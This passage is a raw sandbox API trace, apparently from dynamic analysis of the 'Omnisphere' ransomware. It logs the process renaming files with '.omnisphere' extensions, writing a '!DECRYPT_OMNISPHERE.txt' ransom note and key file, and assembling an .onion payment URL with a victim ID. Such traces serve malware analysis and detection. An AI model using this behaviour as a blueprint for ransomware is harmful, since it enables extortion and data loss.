lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.751] CloseHandle (hObject=0x3c0) returned 1 [0127.751] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.751] CloseHandle (hObject=0x288) returned 1 [0127.751] SetEndOfFile (hFile=0x28c) returned 1 [0127.751] FlushFileBuffers (hFile=0x28c) returned 1 [0127.755] CloseHandle (hObject=0x28c) returned 1 [0127.755] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZZ6tka7.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.755] GetProcessHeap () returned 0x1600000 [0127.755] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.755] GetProcessHeap () returned 0x1600000 [0127.755] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1dc0 [0127.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1dc0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.756] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.756] GetProcessHeap () returned 0x1600000 [0127.756] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17104e0 [0127.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17104e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.756] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.756] GetProcessHeap () returned 0x1600000 [0127.756] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5520 [0127.756] PathCombineW (in: pszDest=0x16f5520, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.756] GetProcessHeap () returned 0x1600000 [0127.756] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1702328 [0127.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.756] WriteFile (in: hFile=0x28c, lpBuffer=0x1702328*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1702328*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.756] CloseHandle (hObject=0x28c) returned 1 [0127.756] GetProcessHeap () returned 0x1600000 [0127.756] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.756] GetProcessHeap () returned 0x1600000 [0127.757] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.757] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.757] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.757] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.757] CloseHandle (hObject=0x28c) returned 1 [0127.757] GetProcessHeap () returned 0x1600000 [0127.757] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.757] GetProcessHeap () returned 0x1600000 [0127.757] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c348 | out: hHeap=0x1600000) returned 1 [0127.757] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21bcbc47, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x21bcbc47, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21bcbc47, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3a9, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ZZ6tka7.lnk", cAlternateFileName="")) returned 0 [0127.757] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0127.757] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2d3ef7f8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3ef7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x16394e8 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x2d3ef7f8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3ef7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x278a0124, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x278a0124, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2d3ef7f8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eb738a4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1eb738a4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x278a0124, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7b1, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="- BGCTQP_oc.lnk.omnisphere", cAlternateFileName="-BGCTQ~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x278a0124, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x278a0124, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x278a0124, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="- BGCTQP_oc.lnk.omnisphere.id", cAlternateFileName="-BGCTQ~1.ID")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x205be1f3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x205be1f3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x278c63a5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8ed, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-8uAG9oxUf-hK.lnk.omnisphere", cAlternateFileName="-8UAG9~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x278c63a5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x278c63a5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x278c63a5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-8uAG9oxUf-hK.lnk.omnisphere.id", cAlternateFileName="-8UAG9~1.ID")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20b67ace, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20b67ace, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x278ec651, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa1e, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-dJtnAUOOQzvv7Sta.lnk.omnisphere", cAlternateFileName="-DJTNA~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x278ec651, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x278ec651, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x278ec651, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-dJtnAUOOQzvv7Sta.lnk.omnisphere.id", cAlternateFileName="-DJTNA~1.ID")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dfae04c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dfae04c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2791274c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9c6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-FRHxieAIkz.lnk.omnisphere", cAlternateFileName="-FRHXI~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2791274c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2791274c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x2791274c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-FRHxieAIkz.lnk.omnisphere.id", cAlternateFileName="-FRHXI~1.ID")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e42675b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e42675b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27938a38, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x7d4, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-HpIv8B0j5lezuuXMs.lnk.omnisphere", cAlternateFileName="-HPIV8~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27938a38, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27938a38, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27938a38, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-HpIv8B0j5lezuuXMs.lnk.omnisphere.id", cAlternateFileName="-HPIV8~1.ID")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1de56b68, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f523332, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x279ab089, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa19, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-tJJk6- Iis.lnk.omnisphere", cAlternateFileName="-TJJK6~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279ab089, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x279ab089, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x279ab089, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="-tJJk6- Iis.lnk.omnisphere.id", cAlternateFileName="-TJJK6~1.ID")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2255544d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x2255544d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x279d1315, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8c1, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0-X9v.lnk.omnisphere", cAlternateFileName="0-X9VL~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279d1315, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x279d1315, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x279d1315, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0-X9v.lnk.omnisphere.id", cAlternateFileName="0-X9VL~1.ID")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99ff89f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20ed5112, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x279f7549, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x912, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0BMtIgULhsjNh69RE4R.lnk.omnisphere", cAlternateFileName="0BMTIG~1.OMN")) returned 1 [0127.758] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x279f7549, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x279f7549, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x279f7549, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0BMtIgULhsjNh69RE4R.lnk.omnisphere.id", cAlternateFileName="0BMTIG~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x218d105a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x218d105a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27a1d7f5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x900, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0tq M_cT tEcyU 7qggP.flv.lnk.omnisphere", cAlternateFileName="0TQM_C~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27a1d7f5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27a1d7f5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27a1d7f5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0tq M_cT tEcyU 7qggP.flv.lnk.omnisphere.id", cAlternateFileName="0TQM_C~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20d0b551, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x20d0b551, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27dfd6ab, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x844, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0uznes.lnk.omnisphere", cAlternateFileName="0UZNES~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dd73db, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27dd73db, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27dfd6ab, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0uznes.lnk.omnisphere.id", cAlternateFileName="0UZNES~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x214f10d8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x214f10d8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e23827, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x79b, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0YKCZvD.lnk.omnisphere", cAlternateFileName="0YKCZV~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e23827, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27e23827, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e23827, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="0YKCZvD.lnk.omnisphere.id", cAlternateFileName="0YKCZV~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e34180d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1e34180d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e49b42, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x849, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1d7dZR0.lnk.omnisphere", cAlternateFileName="1D7DZR~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e49b42, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27e49b42, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e49b42, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1d7dZR0.lnk.omnisphere.id", cAlternateFileName="1D7DZR~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f85b615, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1f85b615, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e6fcd8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1fJbXUeqaQ0.lnk.omnisphere", cAlternateFileName="1FJBXU~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e6fcd8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27e6fcd8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e6fcd8, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1fJbXUeqaQ0.lnk.omnisphere.id", cAlternateFileName="1FJBXU~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc8cf69, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dc8cf69, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e95fa4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x8e3, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1KJv1fN7ry_.lnk.omnisphere", cAlternateFileName="1KJV1F~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27e95fa4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27e95fa4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27e95fa4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1KJv1fN7ry_.lnk.omnisphere.id", cAlternateFileName="1KJV1F~1.ID")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x203ce32b, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x203ce32b, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27ee2461, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9fe, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="1vHknANfpxmxhu.lnk.omnisphere", cAlternateFileName="1VHKNA~1.OMN")) returned 1 [0127.759] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27ebc14d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x27ebc14d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x27ee2461, ftLastWriteTime.dwHighDateTime=0x1d5826d, 